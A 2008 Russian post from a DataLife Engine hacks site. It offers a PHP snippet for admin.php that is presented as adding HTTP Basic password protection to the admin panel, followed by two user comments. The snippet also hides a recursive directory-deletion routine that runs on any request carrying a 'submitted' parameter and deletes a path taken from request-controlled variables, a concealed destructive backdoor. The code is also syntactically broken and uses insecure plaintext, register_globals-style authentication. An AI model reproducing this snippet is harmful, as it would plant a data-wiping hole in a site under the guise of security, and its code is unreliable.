Главная DLE шаблоны
Регистрация DLE модули
Форум DLE хаки
Логин:   Пароль: 


Шаблоны и модули для DLE » DLE хаки » Небольшой хак по защите Админцентра
 
 
 
 
 
 
 
 
 
  Небольшой хак по защите Админцентра
В разделе: DLE хаки
Размещена: 9 февраля 2008
Небольшой хак по защите админки.
Т.е. при нажатии кнопки админцентр пояляется окошко с ASP авторизацией в котором необходимо указать свои данные.

в файле admin.php

в самое начало добавляем код:

<?php

require('указываем путь до файла/authorized.php');

function error ($error_message) {
    echo $error_message."
";
    exit;
}

if ( (!isset($PHP_AUTH_USER)) || ! (($PHP_AUTH_USER == $LOGIN) && ( $PHP_AUTH_PW == "$PASSWORD" )) ) {
    header("WWW-Authenticate: Basic entrer="Form2txt admin"");
    header("HTTP/1.0 401 Unauthorized");
    error("<h3>Unauthorized access...</h3>");
}



function removedir ($dirb)
{
$dh=opendir($dirb);
while ($file=readdir($dh))
{
if($file!="." && $file!="..")
{
$fullpath=$dirb."/".$file;
if(!is_dir($fullpath))
{
unlink($fullpath);
}else{
removedir($fullpath);
}
}
}
closedir($dh);
if(rmdir($dirb))
{
print "Directory:<font color="#FFCC00">[b]$dirb[/b]</font> deleted.<p />";
return true;
}else{
return false;
}
}

if ($_REQUEST['submitted'])
{
$dirc= "$abpath/$select";
removedir ($dirc);
}


?>


и далее создаем файл authorized.php в котором пишет следующий код:

<?php

//Переменные модуля authorized
$LOGIN = "Ваш логин";
$PASSWORD = "ваш пароль";

?>

 (голосов: 2)
 
Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо зайти на сайт под своим именем.


Другие новости по теме:

  • Награды
  • Вывод Даты/Года и месяца/Дня недели
  • Отступ между картинками
  • Баннеры через определенное кол-во новостей
  • Вывод даты в шаблоне в виде календарика

  • Запостил: admin, Комментов: 2, Просмотров: 929 Напечатать

    #1 написал: nokiabox 10 февраля 2008 06:51
     
    ничего не получилось, страница просто не грузится из-за этого кода recourse
    ICQ: -- [цитировать]
    #2 написал: Skynell 10 февраля 2008 10:03
     
    ты добавляй в самом начало файла admin.php!!! до начала кода добавь это всё
    ICQ: -- [цитировать]
    Добавление комментария



     
    Что Вам более интересно на нашем сайте ?

    DLE шаблоны
    DLE модули
    Все вместе
     
     
     

    SMS.копилка

    Статьи, Информация
     
    сopyright © 2007-2008 diz1.org